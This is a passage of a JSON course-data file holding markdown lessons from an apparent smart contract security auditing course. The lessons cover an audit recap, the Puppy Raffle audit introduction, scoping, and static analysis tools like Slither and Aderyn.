stride. But don't get too comfortable - we're just getting ramped up!\n\nBy the end of this course, your portfolio will contain not one, but six impressively professional security reviews! Here comes the exiting bit - get ready to audit the final \"Boss Vault Guardians\", which is going to be nothing short of awe-inspiring!\n\n![](https://cdn.videotap.com/lczjZNOdteSEVFTeatFV-39.64.png)# Preparing for the Next Chapter\n\nBefore we conclude the section three, I have a couple of tasks for you to accomplish.\n\n1. **Tweet about your progress**: Publicly acknowledging and sharing your small wins often gives a big motivational boost. Tweet about your experience so far, and don't forget to join the community discussions on platforms like **discord** and **Cyfrin**.\n2. **Sign up for Code Hawks**: Now comes the practical application of what you have learned so far. After completing this task, you will be ready to start performing \"competitive audits\". Although there are a few more skills for you to learn, you're overwhelmingly ready for this challenge! So, sign up [here](https://www.codehawks.com/).\n\n# The Benefits and The Next Steps\n\nPerforming competitive audits not only helps you to practise your newly-acquired skills but is also one of the fastest ways to learn and grow. That's why we've incorporated a multitude of features into our platform to help you sharpen your skills and assist protocols to maintain security.\n\n> **However, my one piece of advice would be to continue the course to ensure a comprehensive learning experience.**\n\nSo there you have it! Your tasks at the end of this course: tweeting your progress and signing up for Code Hawks.\n\nNow, it's time for a breather. Grab that cup of coffee, take a walk, basically do anything that helps you unwind and refocus. I can't imagine the amount of learning you've accomplished so far and am pretty excited for you to start building your security portfolio. But remember, it's essential to rest before diving back in because the next section, 'The Puppy Raffle Audit', will prove more demanding.\n\nSo, take a well-deserved break, and I'll see you very soon!\n\n![](https://cdn.videotap.com/Q6RCCk0Sh02NOuZZhjXh-178.39.png)\n", + "updates": [] + }, + { + "id": "2da34237-3c5f-48df-8f22-0a09d8cf1b12", + "number": 30, + "title": "Recap & Congrats", + "slug": "recap-&-congrats", + "folderName": "30-recap-&-congrats", + "description": "", + "duration": 9, + "videoUrl": "V3oR3TsNHzk", + "rawMarkdownUrl": "/routes/security/3-first-audit/30-recap-&-congrats/+page.md", + "markdownContent": "---\ntitle: Recap & Congrats\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# The Comprehensive Guide to Conducting A Solidity Security Review\n\nToday, we're diving into how to conduct a security review for Solidity, the programming language behind Ethereum's smart contracts. We'll walk you through the major phases, from educating protocols about security necessities and onboarding them, to conducting a thorough security review and generating a professional report.\n\n## Starting with a Basic-Yet-Critical Lesson\n\nOne of the first things to understand is that audit requests often come in the form of Ether scan links, a practice that needs to change. A more comprehensive process is required to ensure security, which includes properly onboarding different protocols and teaching these protocols about safety measures.\n\n```markdown\nBasic Security Structure:\n\n1. Have a test suite\n2. Complete onboarding questionnaires\n3. Consciously plan for an audit\n```\n\nThe first step toward creating a secure protocol involves ensuring they're thinking about security in the right way.\n\n## Gathering Documentation\n\nOnce a protocol has been onboarded, you will need to amass all the documentation relating to the protocol, such as details about how to build the protocol and the actual scope of the security review.\n\nKey details to identify include:\n\n- Solidity version\n- Chains\n- Tokens\n- Roles\n- Known issues\n\n## Estimating Codebase Size\n\nLearning how to estimate the size of a codebase can also be beneficial when predicting the duration of an audit or security review. The tool \"Solidity Metrics\" is useful for this, as it provides a simple output detailing the number of source lines of code and a complexity score.\n\nAlternatively, the \"cloc\" command can be used, offering similar statistics and aiding the planning process for audits and reviews.\n\n## The Phases of A Smart Contract Audit\n\nParallel to conventional software engineering, security reviews also involve a number of phases, namely Scoping, Recon, and Vulnerability Identification.\n\nHere's a brief rundown on each phase:\n\n- **Scoping**: Collect initial information, determine what is within scope, and plan the review.\n- **Recon**: Look for potential bugs and abnormalities.\n- **Vulnerability Identification**: Identify actual bugs, tinker, take notes, comment, and figure out the severity.\n\nNext, the process also involves creating a detailed report post-analysis.\n\nThe final two phases involve the protocol fixing any issues identified, adding tests, re-testing, and conducting a mitigation review. This phase usually proceeds more swiftly, given that you would by then have gained substantial context about the codebase and only need to focus on the differences.\n\n## Imperial Advice from an Ace Security Researcher\n\nWe've had the privilege of learning from renowned security researcher, Wizard Tincho, who shared his method for carrying out smart contract security reviews. His advice? Start by reading the docs, take detailed notes, and then build from small to large concepts.\n\n> \"Read the docs, take notes, go from small to large.\" - Wizard Tincho\n\nYou can find his full-length interview [here](https://www.youtube.com/watch?v=bYdiF06SLWc&t=0s), where he dives deeper into his techniques for successful security reviews.\n\n## Getting Hands Dirty with an Actual Security Review\n\nAfter getting a good theoretical foundation, it's time to try it out. For instance, we conducted a security review where we detected missing access controls, a relatively common bug, yet one that provides crucial insights into the protocol.\n\nIn our review, for example, we found a section in the 'set password' function that should have stipulated that only the owner of this contract could set the password - this essential requirement was missing.\n\nThis is precisely why understanding the protocol's intended function is crucial for finding bugs. Often, with multiple roles within a protocol, identifying the appropriate access controls can get complicated and it's virtually imperative to clarify roles at the outset.\n\nConsequently, getting to know potential exploits such as private data and access controls is absolutely crucial, even if they seem highly evident.\n\n## Hand-holding through Writing a Phenomenal Review Report\n\nOne of the final and more essential steps lies in writing a comprehensive report. A template that works well includes a succinct description, where you mention the root cause and impact in your findings list. Here's a minimal example to illustrate this:\n\n```markdown\n### Findings1.\n\nStoring the password on chain makes it visible to anyone and no longer private. (Root Cause -> Impact)\n\n### Recommended mitigation\n\n_Depends on the findings; can range from code fixes to architecture changes._\n```\n\nAdditionally, it's quite useful to provide proof of code as an evident proof of the concept for the existing issue.\n\nFinally, don't neglect informational write-ups where you can flag potential areas of concern even if they aren't critical bugs.\n\n## The Magic of AI in Audits\n\nModern advancements mean we can embrace the power of Artificial Intelligence (AI) in helping us tackle an audit. Using AI, we can expedite and automate some tasks, saving countless precious hours.\n\n## Recognizing the Severity and Classifying Findings\n\nClassifying the severity of findings can initially seem a subjective task. However, with practice, distinguishing between high, medium, and low severity findings becomes easier.\n\nFundamentally, this distinction rests on the matrix of likelihood versus impact. For example, a high impact and highly likely finding that disrupts the protocol's functionality entirely would qualify as a 'high severity' finding.\n\n## Bringing It All Together with An Audit Report\n\nFinally, you'll consolidate all your findings into a detailed, professionally laid out audit report using a tool like Markdown. This will present your findings in a clear and accessible format and provides a great visual representation to clients.\n\nHowever, remember that this process is but a guide. You might decide to create your own report template or use different tools as you grow experienced in conducting audits and reviewing security. Bitcoin/blockchain is still a relatively new field, so the aim is to keep iterating, learning, and improving your review process. Whichever path you choose, the goal remains the same: to construct a secure, sound protocol.\n\nThat's your brief yet comprehensive guide to conducting a security review in Solidity. Audit on and ensure the crypto world stays secure!\n", + "updates": [] + } + ] + }, + { + "number": 4, + "id": "131e6eb2-4fa2-4f48-a788-33a008abf278", + "title": "Puppy raffle", + "slug": "puppy-raffle", + "folderName": "4-puppy-raffle", + "lessons": [ + { + "id": "9b46fac7-d345-4a64-afa2-54f6f7c2c8fe", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "", + "duration": 5, + "videoUrl": "3Tn_jJxYvoc", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/1-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n---\n\n# Puppy Raffle Audit\n\nWelcome to the in-depth discussion on the Puppy Raffle Audit! Conducting audits, particularly for smart contract security, is a necessity in the field of computer programming. Engaging in audits not only fine-tunes your coding skills, but it also gives your portfolio a significant boost.\n\nWhat makes the Puppy Raffle Audit discussion interesting is that it is a current live event on the CodeHawks platform. This provides us with an opportunity to examine both private and competitive audits, helping you to hone your skills in writing professional audit findings.\n\n---\n\n## CodeHawks First Flights\n\nCodeHawks First Flights offers an excellent platform for budding smart contract security researchers. This platform contains relatively easy-to-understand codebases that resemble those you will find in this guide.\n\nIf you are a beginner, this reference will help you familiarize yourself with the nuances of code auditing. More experienced auditors will find it a chance to reiterate their learning and uncover new strategies.\n\n![](https://cdn.videotap.com/WViyXovd5mwSDrFG0B68-71.76.png)---\n\n## Learning Outcomes\n\nThrough this section, you will:\n\n- Familiarize yourself with your first set of tooling.\n- Understand what static analysis is and its role in enhancing protocol security.\n- Gain an insight into the different exploits in this codebase.\n- Finally, learn how to write reports of competitive audits and differentiate them from private audits.\n\n---\n\n## Your Journey\n\nThroughout your Puppy Raffle Audit journey, you will encounter a range of exploits in a sophisticated codebase. To cover more ground, this guide also includes case studies because historical attacks offer valuable lessons in improving security measures.\n\nHere’s your itinerary:\n\n1. Familiarize yourself with the Puppy Raffle audit codebase.\n2. Pinpoint and analyze numerous exploits inherent in the codebase.\n3. Conclude the mission with the production of a professional audit report.\n4. Learn how to create competitive audit reports that catch the eye for selections.\n\n![](https://cdn.videotap.com/7lcDGcvJJnJfWsy6ddge-202.24.png)---\n\n## Diving Into the Audit\n\nReady to take the plunge into the audit? Scroll to section four and select the repo to get started. You'll come across two branches: the **main** branch and the **audit data** branch. Unlike prior projects, the onboarding document of this project is already successful.\n\nUnder these branches, you will find detailed information including compatibilities, roles, known issues, the audit scope, and more. At this point, you have everything you need to embark on your audit journey. Just beware, future audits will demand more extensive onboarding so this super-detailed manual while making things easier, may set unrealistic expectations!\n\n![](https://cdn.videotap.com/HCLaeRMCU3Y5V1POfhjN-234.86.png)Inside the audit data folder is where all the audit/security review info resides. Although it could be helpful to dive straight into the answers given here, it isn't advisable. The real learning and skill-building come from individually tackling the codebase, unraveling the codes, and discovering the attack vectors.\n\nIn the case of the Puppy Raffle, there are four high severity vulnerabilities awaiting discovery. Bear in mind that the ultimate goal of this exercise is to thwart those looking to exploit these vulnerabilities. Every bug or issue you identify and report prevents potential hackers from exploiting the protocol.\n\n```\n\"There are always attackers looking to break these protocols, and we need to keep that in mind when we're working on them.\"\n```\n\nSo gear up, as the world of the Puppy Raffle audit has many secrets waiting to be unveiled!\n", + "updates": [] + }, + { + "id": "0af77dc7-3aa4-4ba0-9d07-2cf85bacea1c", + "number": 2, + "title": "Puppy raffle primer", + "slug": "puppy-raffle-primer", + "folderName": "2-puppy-raffle-primer", + "description": "", + "duration": 2, + "videoUrl": "XlWxaaH01jM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/2-puppy-raffle-primer/+page.md", + "markdownContent": "---\ntitle: Puppy Raffle Primer\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Taking on the Challenge: Navigating the Puppy Raffle Codebase\n\nWelcome to another exciting exploration into the world of programming, where we tangle with codebases and debug in the quest for learning and continuous improvement. We have a very thrilling activity lined up for you in this guide. We’re going to dive deep into the belly of a beastly codebase and find the bugs lurking within.\n\nSo ready your development kit and clear your schedules, we’re about to discover how it feels to do this all by ourselves!\n\n![](https://cdn.videotap.com/dGXjTG9jrsJQ7JfxnRls-7.5.png)## Our Main Mission: The Puppy Raffle Codebase\n\nFirst, let’s get a few things in order. Here is what you need to do:\n\n1. **Resist the temptation** to peek at the audit data branch. This section holds the answer key to the problems we’re trying to solve, and we won't get anywhere looking at that!\n2. **Spend some devoted time** working on this challenge by yourself. Maybe spend a solid 30 minutes on it. If that feels too long or frustrating, feel free to take a break.\n\nYour mission is to review, find bugs, and rectify them as best as you can.\n\n## The Phenomenal Playground\n\nNow, why are we doing this? Well, not only does this exercise help you test your skills and get some real coding experience, but it also gives you a good feel for the kind of challenges you might face when you’re working on your own projects.\n\n> \"This codebase is a phenomenal playground for you to test your skills and see how you're doing.\"\n\nThe objective isn’t just to find as many bugs as you can, but to understand their impact, their cause and most importantly, how to fix them. This first-hand experience can be invaluable in developing the skills and patience necessary to debug future projects.\n\n## The Adventure Begins\n\nHere’s a glimpse of the rollercoaster ride you can expect during this debugging process:\n\n```\nI don't understand this. Wait, I don't get it. Oh, I think that's a bug. I don't understand this. Oh, my God. I found something. I am a brilliant wizard. I don't understand this. Was this yep, that's definitely a bug. Okay, write that up.\n```\n\nIt's perfectly alright to alternate between confusion and comprehension, elation and frustration. These fluxes are part of the process, part of the journey.\n\n![](https://cdn.videotap.com/FCptVC8MaZVLfJkPNLN9-65.png)## Take The Leap\n\nNow that you're all prepped, it's time for you to tackle the Puppy Raffle codebase. Find as many bugs as you can, write them up, bask in that brilliant wizard feeling when you do find them, and always remember to keep going.\n\nOnce you've given it a good shot, we'll come back together and walk through the codebase. We'll compare notes, discuss the bugs found, and delve into how to fix them.\n\nBut for now, unleash your debugging prowess, and let's see how you do in this coding challenge. Dive in, get lost, be frustrated, but most importantly, enjoy the process of discovering and learning.\n\nTake at least 20 minutes to fully immerse yourself and accept the challenge. Unleash the brilliant wizard inside you and get cracking!\n\n![](https://cdn.videotap.com/cEB2wUwGPYlYBJ44rJLj-80.png)Good luck and happy debugging!\n", + "updates": [] + }, + { + "id": "2951f741-904b-4b98-a3fc-91cd1c5fd334", + "number": 3, + "title": "Phase 1: Scoping", + "slug": "phase-1-scoping", + "folderName": "3-phase-1-scoping", + "description": "", + "duration": 4, + "videoUrl": "Rtl1A-QEyKE", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/3-phase-1-scoping/+page.md", + "markdownContent": "---\ntitle: Phase 1 - Scoping\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Bridging the Gap in Your Cybersecurity Journey: Exploring Codebase Exploits\n\nWelcome back, tech enthusiasts! If you're here for the first time, no worries, there's still time to catch up. Now, was everyone able to spend some time going through the code before coming back here? Excellent! As you know, practice makes perfect, and taking the time to familiarize yourself with the code makes the walk-through process much more beneficial.\n\nSo, let's dive into our fun-filled expedition, exploring various coding exploits, and reinforcing your knowledge base. Excitingly, by the end of this, you'll have a comprehensive report to add to your ever-growing developer portfolio.\n\nAre you ready? Good. Let's dive right in.\n\n## Navigating the Security Course\n\nCurrently, we are navigating through our structured cybersecurity course. Note-taking is essential during the journey, as there will be an array of essentials to learn, especially in this module.\n\nTake note of the below GitHub codebase, which we will be referencing throughout this course:\n\n```bash\ngit clone https://github.com/repository/examples.git\n```\n\nAfter doing a successful `git clone`, let's open the project in our favorite code editor (Personally, I prefer VS Code).\n\n## The Smart Contract Security Review\n\nBefore we explore the code, we need to understand what it is about. This stage is often referred to as the 'Scoping Phase'. We are encouraged to explore, question, and gain context on the ongoing project.\n\nIn this particular code base, we encounter a rather delightful concept: a 'Puppy Raffle'. Now, let's take a minute to go through the 'About' section, yes, the one right at the top of the page.\n\n![](https://cdn.videotap.com/wTq0wfCNib6lb1D2AqTZ-67.02.png)## Essential Prep Work\n\nIn the README, there are some instructions about tools we need in order to run the project, specific versions of Git and Foundry in this case. We've already cloned the project; now, let's have a look at the `make` file.\n\n```bash\ngit clone https://github.com/repository/examples.gitcd examplesmake run\n```\n\nWhat happens when we run `make`? We're executing three commands, remove, install, and build.\n\nHere's a breakdown of the makefile:\n\n- Remove: Clears any previous build files.\n- Install: Handles the library and package installations. In this example, we're installing specific versions of OpenZeppelin and the BrushPD base64 package.\n- Build: Compiles the project.\n\n![](https://cdn.videotap.com/N8L5QF4tSzLDWWv68Ike-139.2.png)Running `make` should execute these commands in the terminal. We can then observe the dependencies being installed, files being compiled, and possible warnings thrown.\n\nHowever, remember:\n\n> A warning isn't an error. However, warnings need attention just as much as errors.\n\nContained within our makefile is a command for running tests, `forge test`. But, before we run tests, we want to gauge the solidness of the test coverage. Running coverage reports give us some insight into the maturity level of the code base.\n\n```bash\nmake coverage\n```\n\n## Navigating the Codebase\n\nNext, we recognize the commit hash - an opportunity to delve into different versions of the code base. We're not going to run the `git checkout` at this moment.\n\n```bash\ngit checkout \n```\n\nFor the next stage of this exercise, you should ensure you're working in the main branch. We're focusing on a single file in the scope: `puppyraffle.sol`.\n\nWithin in this file, we can see some interesting aspects: a firm amount of comments, which is always encouraging, several functions, compatibility with solidity version 0.7.6, contract deployment to Ethereum, and various assigned roles.\n\n![](https://cdn.videotap.com/elVBGNan7XfaFJokz2Yt-216.53.png)So far, everything seems in order, which can be deceiving. There could be potential exploits or weaknesses. But don't panic just yet. That's precisely why we're here: to navigate this curiosity-filled world of cybersecurity. Join us in the next part, as we continue unravelling this mystery.\n\nStay curious and until next time - Happy Coding!\n", + "updates": [] + }, + { + "id": "d6c942d9-d7fb-4b1b-a29b-14e55b2a8f6e", + "number": 4, + "title": "Tooling: Slither", + "slug": "tooling-slither", + "folderName": "4-tooling-slither", + "description": "", + "duration": 6, + "videoUrl": "nucwsAB9A8A", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/4-tooling-slither/+page.md", + "markdownContent": "---\ntitle: Tooling - Slither\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Demystifying Smart Contract Audit Tools\n\nAuditing smart contracts is an arduous yet essential task in the blockchain realm. To facilitate this process, there are excellent tools to help auditors catch bugs efficiently. In this post, we'll explore two popular static analysis tools that can significantly speed up the auditing process: Slither and Aderyn. Having knowledge of these tools isn't just beneficial for auditors — anyone aiming to be a top developer should consider these tools as an essential part of their toolbox.\n\n## Static Analysis - Boosting Your Auditing Efficiency\n\n![](https://cdn.videotap.com/PcwCRznO4FQcKvoOOcOy-32.16.png)Static analysis is a method where code is checked for potential issues without actually executing it. Essentially, it's a way to \"debug\" your code by looking for specific keywords in a certain order or pattern.\n\nThis elegant strategy saves time and effort as it forgoes the execution of code, thereby accelerating the process of identifying coding errors. The most widely used tools for this purpose include Slither, developed by the trail of bits team, and a Rust-based tool that we've developed known as Aderyn.\n\n> **Note**: It's important to remember that these tools should be run before going for an audit.\n\n## Slither - A Python-Powered Static Analysis Tool\n\nSlither tops the charts as the most popular and potentially the most potent static analysis tool available. Built using Python, it offers compatibility with both Solidity and Viper developments. An open-source project, Slither allows developers to add plugins via making PR.\n\n![](https://cdn.videotap.com/NXCBcJHzsWxWjBZYMfp5-117.91.png)The repositories for Slither on GitHub provide instructions on installation and usage. Among the standout features of Slither, its collection of **Detectors** offers a comprehensive checklist for auditing your code.\n\nThese detectors are designed to catch a vast array of potential issues. For example, the **protected VARs** check can identify unprotected variables that are marked as protected. This could have assisted in preventing bugs in the password store.\n\nRunning this check will generate an alert: \"Hey, add access controls to the venerable functions\" whenever this owner variable is modified without the 'only owner' modifier.\n\n![](https://cdn.videotap.com/N91Jg6hbSfCQH4c5Ej7u-160.78.png)Now that you've understood the power of Slither, let's look into it's installation and usage.\n\n### Installing Slither\n\nDifferent methods of installing Slither are available, i.e., via Pip, Git, or Docker. Installation might be occasionally troublesome, but the pain is well worth the outcome.\n\nFor debugging installation issues, you may want to depend on ChatGPT, or find help on Google Search.\n\n**Here's an example of the command you'd use to upgrade Slither once installed:**\n\n```bash\n$ pipx upgrade slither-analyzer\n```\n\n### Running Slither\n\nTo access Slither's numerous features and abilities, you can reach out to the command `Slither help` and idly navigate through the wealth of information it provides.\n\nFor instance, to run Slither on a Hardhat, FoundryDep, or Brownie application, use the command `Slither .`. This command allows Slither to automatically recognize the smart contract developer framework in use and compile accordingly.\n\n```bash\n$ slither .\n```\n\nWhile running this command could take a while to execute, it's worth being patient. You'll be rewarded with a detailed output on possible areas of concern in your codebase.\n\nThe output color codes potential issues: **Green** signifies an area that's probably okay but might require a check, **Yellow** indicates an issue that needs to be definitely checked, while **Red** acts as a red-alert forcing you to inspect it immediately.\n\n![](https://cdn.videotap.com/PseBWolSqkqt0Dt144NL-321.56.png)By leveraging Slither, audits become more efficient, making it a fantastic tool for developers who are looking to minimize the time they spend on debugging and maximizing value addition to their projects.\n", + "updates": [] + }, + { + "id": "76b4b6ad-f6df-4073-8f6f-f87b91f2e2db", + "number": 5, + "title": "Tooling: Aderyn", + "slug": "tooling-aderyn", + "folderName": "5-tooling-aderyn", + "description": "", + "duration": 2, + "videoUrl": "XPf_TjwsnjU", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/5-tooling-aderyn/+page.md", + "markdownContent": "---\ntitle: Tooling - Aderyn\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Introducing Aderyn: A Rust Based Static Analysis Tool\n\nIn this blog post, we are going to dive into the nitty-gritty of a tool by name Aderyn, a handy static analysis tool for smart contracts. Created by Alex Roan, an established name in the realm of smart contract development, Aderyn adds to the cryptic dimension of the Rust programming language.\n\nTo effectively get started with Aderyn, it's essential that you have Rust installed. Although the installation process of Rust won't be illustrated here, there are abundant online resources that can guide you.\n\nOnce Rust is installed, you're a step away from running Aderyn. Simply use the command `cargo install Aderyn`.\n\n## Installation of Aderyn\n\nMake sure your terminal or console is clear. If not, type `clear` to have a crisp console. Next, you are to run `cargo install Aderyn`. This command installs the Aderyn tool.\n\nA thing to note: Aderyn does not need reinstallation if it's already installed. You'll be informed on the terminal that Aderyn is already installed, as seen in the example below:\n\n![](https://cdn.videotap.com/pnFtrBJS6gg7wF4fAor8-17.29.png)## Running Aderyn\n\nTo run Aderyn, the command is `Aderyn root` along with the path leading to your Foundry or Hardhat project. Since we're at the root directory in our case, we're going to use a little dot (.) as our path.\n\n> `Aderyn root .`\n\nThe command mentioned above will recompile all the contracts, giving out compilation warnings just like any other code compiler.\n\n## Generating the Audit Report\n\nAt the end of the recompilation phase, the console will provide interesting information: `report printed to report.md` .\n\nThe `report.md` mentioned is a Markdown file where Aderyn prints the audit report of your smart contract.\n\nNavigating to the `report.md` file will header you to an almost ready audit report of your smart contract in the intuitive Markdown format.\n\nBelow is how the audit report looked:\n\n![](https://cdn.videotap.com/aZCpkdjtzg2vgNCWYwi2-49.41.png)## Exploring the Audit Report\n\nWhen previewed, the Markdown file shows the vulnerabilities categorized into 'medium', 'low', and 'non-or-information'.\n\n- Medium issues are the ones that have moderate impact and are to be solved on a higher priority.\n- Low issues, as the name suggests, are of less priority but it's recommended to have them fixed for better performance of the smart contract.\n- Non or Informative issues are ones that do not pose any direct threat to the smart contract but improving them can enhance the overall performance.\n\nAderyn does a pretty good job of segmenting these vulnerabilities, then marking them up for you to address in your audit report.\n\nDon't worry if it feels overwhelming. In forthcoming posts, we'll be taking a deep dive into each of these issues, how to resolve them and even potentially avoid them in your smart contract code.\n\nStay tuned!\n\n## Conclusion\n\nFast, efficient and intelligent, Aderyn offers a swift audit report of your smart contracts which is almost ready to be presented. Aesthetically neat and structurally organized, the tool is a quick starter for anyone looking to audit a smart contract. Keep exploring!\n", + "updates": [] + }, + { + "id": "3dec10d0-e6c7-4d0d-a220-fcdcad3d42c6", + "number": 6, + "title": "Tooling: Solidity Visual Developer", + "slug": "tooling-solidity-visual-developer", + "folderName": "6-tooling-solidity-visual-developer", + "description": "", + "duration": 3, + "videoUrl": "sIb_geciuiU", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/6-tooling-solidity-visual-developer/+page.md", + "markdownContent": "---\ntitle: Tooling - Solidity Visual Developer\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Static Analysis Tools in Understanding Solidity Metrics\n\nNext we're going to dive deeper into the exciting world of static analysis tools. We'll take a closer look at the Solidity Metrics tool, which we introduced before, and also explore another tool known as Solidity Visual Developer.\n\n## A Deeper Dive into Solidity Metrics\n\nWe already have a familiarity with the clock and have explored Solidity Metrics. However, if we go back to the Solidity Metrics and scroll to the bottom, we can discover a few more useful insights.\n\n```bash\nrun solidity metrics\n```\n\n![](https://cdn.videotap.com/D6ISDBvfop9mmTwaeeNA-26.74.png)Down there, we can see:\n\n1. **An Inheritance Graph**: Here, we can see our puppy raffle is of type ERC 721 and it's also ownable.\n2. **A Call Graph**: It illustrates what functions call, what other functions; a valuable tool while debugging.\n3. **A Contract Summary**: It gives a list of the different public and external functions. These are the functions that an attacker would mostly call.\n\nThese features provide essential information, especially from the vulnerability perspective.\n\n> **Note:** This is slightly more on the scoping side of things.\n\n## Introducing Solidity Visual Developer\n\nNot all code bases have clear, easy-to-decipher variable names identified by markers such as an 's' underscore to help distinguish them as storage variables. In some instances, you'll find that these variables are just a single word. The functions are often similar — just a single word without much distinction between a storage variable, memory variable, and others. This kind of code can make comprehension quite challenging.\n\nThankfully, we have other helpful VS code extensions, with one of the key ones being the Solidity Visual Developer.\n\nThis tool is a favorite for some auditors and smart contract security researchers. Once installed and we go back to our code base, we can see some automatically highlighted variables.\n\n- An immutable variable is in a purple hue.\n- A storage variable is identified by a yellow color.\n- If it's a constant, its highlight is noticeable.\n\nThese features significantly improve code readability. However, how much this tool makes a difference to individual developers varies. You can disable it or keep it according to your preference.\n\n## Understanding the Big Picture\n\nWe've skimmed over some tooling essentials and run some tools. We've also dug deeper into scoping. I have merged them all into one section here. But let's finally get into scoping and reconnaissance where we understand the puppy raffle and its purpose, and then return to these tools.\n\nOnce we have the context for how the code base operates, the static analysis outputs will give us a lot more meaningful information. Let's get this context and start step one of the exercise: Reading the Documentation. I hope this brings you a comprehensive understanding of the Solidity Metrics and how to make the most of it, not just in your work, but also in your learning journey.\n", + "updates": [] + }, + { + "id": "9e5aea50-0a65-4d44-940c-5ca0f7662c9f", + "number": 7, + "title": "Recon: Reading docs", + "slug": "recon-reading-docs", + "folderName": "7-recon-reading-docs", + "description": "", + "duration": 2, + "videoUrl": "TOxiR6h-zn8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/7-recon-reading-docs/+page.md", + "markdownContent": "---\ntitle: Recon - Reading Docs\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Puppy Raffle Audit: Understanding and Solving the Challenge\n\nIn this blog post, we venture into the realms of Non-Fungible Tokens (NFTs), exploring an intriguing and adorable project that revolves around the theme of puppies. We’re diving into the core branch of the **Puppy Raffle Audit**. This project enables participants to enter a raffle to win a cute dog NFT. Let's break down the documentation and delve into some critical aspects of the raffle protocol.\n\n![](https://cdn.videotap.com/8KjNYsUhdCgFwmWSjMzk-4.61.png)## About The Puppy Raffle Audit Project\n\nThe Puppy Raffle Audit project essentially marries the worlds of cute dogs and blockchain technology. Participants can enter a raffle with the hope of getting minted a unique, adorable puppy NFT. However, there's more to this raffle game. By understanding the protocol and the functionalities adhered to it, one can exploit loopholes to increase winning prospects.\n\nThrough an **About** section on the project, the protocol functionality can be summarized as follows:\n\n- Participants are required to call the `enter raffle` function using an array of addresses - these refer to the list of participants entering the raffle. This could include just you, or a mix of you and your pals. Do bear in mind though, any duplicate addresses will be rejected.\n- Once entered, users are permitted to ask for a refund of their ticket value by invoking the `refund function`.\n- Every X seconds, a random draw is conducted by the raffle protocol, given the existence of a winner, a puppy NFT is minted.\n- The protocol owner sets a fee address and receives an cut from the value.\n\n## Diving Into the Project Code\n\n1. Open Puppy Raffle Audit project in your VS code\n2. Delete the Adarin output\n3. Start creating a `notes MD` file for jotting down your observations\n\n![](https://cdn.videotap.com/QAQwQv1b28oFN8yHiDw4-39.15.png)And voila! You've the documentation of the Puppy Raffle Audit opened right in front of you!\n\n### Keeping Track of Project Details\n\nIt's a good habit to jot down relevant project details in your own words, such as what exactly the project does, and what functionalities it offers. This step helps in understanding the project in a better way. Also, exploring the provided functions and how they interact aids in comprehending how they work together to make the protocol function smoothly.\n\n## Quick Start and Coverage Instructions\n\nOnce you're done understanding the `docs` and have successfully set up your working environment, take a look at the `quick start stuff` and `coverage` aspects.\n\n`Quick start stuff:` This is meant to aid in getting things started quickly and effectively. It represents an overview of the entire protocol and provides guides on how to start interacting with the project.\n\n`Coverage:` It elaborates the potential reach or target audience of the protocol. In order to comprehend the impact or reach of the project, understanding coverage becomes essential.\n\n### A Peek into the Project's Functionality\n\nLet's look into functions and how they are playing their part in this raffle protocol\n\nThe protocol functions are the gears that power this puppy raffle machine. Getting a grasp of how these pieces come together informs us about the underlying functionality of the project.\n\n> \"Understanding the project's functionality is just like solving a puzzle. Each piece of information fits in to complete the whole picture.\"\n\nDo stay tuned for more updates on this adorable, fun project. Happy coding!\n", + "updates": [] + }, + { + "id": "5efe7fcf-556b-464d-96be-e49c83a841a8", + "number": 8, + "title": "Recon: Reading the code", + "slug": "recon-reading-the-code", + "folderName": "8-recon-reading-the-code", + "description": "", + "duration": 5, + "videoUrl": "_cKTcb3R6xc", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/8-recon-reading-the-code/+page.md", + "markdownContent": "---\ntitle: Recon - Reading the Code\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Deep Dive into Codebase: Unraveling the Main Entry Point and More\n\nWelcome everyone! Today we're embarking on an insightful journey through an intriguing codebase. What's truly exciting about this voyage is that we'll be starting from the main entry point of the protocol. This approach offers a thrilling way to understand the critical functions and operations that govern the system.\n\n## Locating the Main Entry Point\n\nThe adventure starts with a bird's-eye-view of the codebase. This 'quick skim' gives me an idea of the overall landscape. However, identifying the best point of entry can be tough if you don't know where to look.\n\nHere is where Solidity Metrics comes in handy. If you scroll all the way down to the bottom, you'll see **Contract Summary** that lists down the public and external functions.\n\n![](https://cdn.videotap.com/iZyEcW0QPu9UkA6c5Xlf-36.03.png)Alternatively, for forge projects, run the following command:\n\n```bash\nforge inspect PuppyRaffle methods\n```\n\nThis command will print a list of methods you can check out.\n\n![](https://cdn.videotap.com/O4YijeMcS1T44HRm1v5c-72.06.png)Some of the core functions that I focus on include public functions such as `enterRaffle`, `refund`, and external functions like `selectWinners`. These are especially fascinating if they modify any state.\n\n## Zooming In: The `enterRaffle` Function\n\nFor this project, I identify `enterRaffle` as a possible main entry point. It's a decisive function that gives users access to participate in the raffle.\n\nInterestingly, the code documentation explains that the user entry into the raffle involves paying the entrance fee, multiplied by the number of players. This bit can be slightly confusing, so I'm gonna clarify it for you.\n\nWe see `address[] memory new_players` in the parameters. This suggests that a user has to pay the entrance fee times the `number of players`. If this seems perplexing, just remember to ask questions or make a note for further investigation.\n\nFurthermore, the documentation highlights that **duplicate entries are not allowed**. We can expect to see validation for this in the `enterRaffle` function.\n\n### Clearer Variable Naming\n\nNow, the `enterRaffle` function's syntax doesn’t sit right with me.\n\n```javascript\nfunction enterRaffle(address[] memory new_players)\n```\n\nIn case I was conducting a private audit, I'd note that variable names in this function could be more expressive. This critique is mainly based on `entrance_fee`which is an Immutable variable. A `I_` prefix before `entrance_fee` would provide better clarity, suggesting that it is immutable. Alternatively, another syntax could be used to indicate the immutability of `entrance_fee`.\n\n**Note:** If you are using Solidity Visual 